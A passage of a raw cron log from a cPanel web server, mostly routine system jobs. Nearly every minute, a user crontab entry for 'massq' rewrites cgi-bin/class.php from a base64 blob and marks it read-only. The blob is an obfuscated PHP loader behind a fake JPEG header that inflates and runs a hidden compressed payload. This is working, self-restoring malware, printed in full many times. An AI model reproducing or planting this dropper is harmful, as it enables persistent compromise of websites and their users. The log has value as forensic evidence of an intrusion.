tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:35:01 server CROND[8168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:36:01 server CROND[8976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:36:01 server CROND[8977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:36:01 server CROND[8979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:37:01 server CROND[9349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:37:01 server CROND[9351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:37:01 server CROND[9350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:38:01 server CROND[9784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:38:01 server CROND[9785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:38:01 server CROND[9786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:39:01 server CROND[10244]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 01:39:01 server CROND[10245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:39:01 server CROND[10253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:39:01 server CROND[10252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:40:01 server CROND[10631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:40:01 server CROND[10632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:40:01 server CROND[10641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:40:01 server CROND[10642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:40:01 server CROND[10644]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:40:01 server CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:40:01 server CROND[10648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:40:01 server CROND[10646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:41:01 server CROND[11450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:41:01 server CROND[11451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:41:01 server CROND[11452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:42:01 server CROND[11838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:42:01 server CROND[11839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:42:01 server CROND[11837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:42:01 server CROND[11840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:43:01 server CROND[12223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:43:01 server CROND[12224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:43:01 server CROND[12225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:44:01 server CROND[12645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:44:01 server CROND[12646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:44:01 server CROND[12647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:45:01 server CROND[13174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:45:01 server CROND[13175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:45:01 server CROND[13176]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:45:01 server CROND[13179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:45:01 server CROND[13181]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:45:01 server CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:45:01 server CROND[13186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:46:01 server CROND[14071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:46:01 server CROND[14072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:46:01 server CROND[14073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:47:01 server CROND[14493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:47:01 server CROND[14492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:47:01 server CROND[14494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:48:01 server CROND[14924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
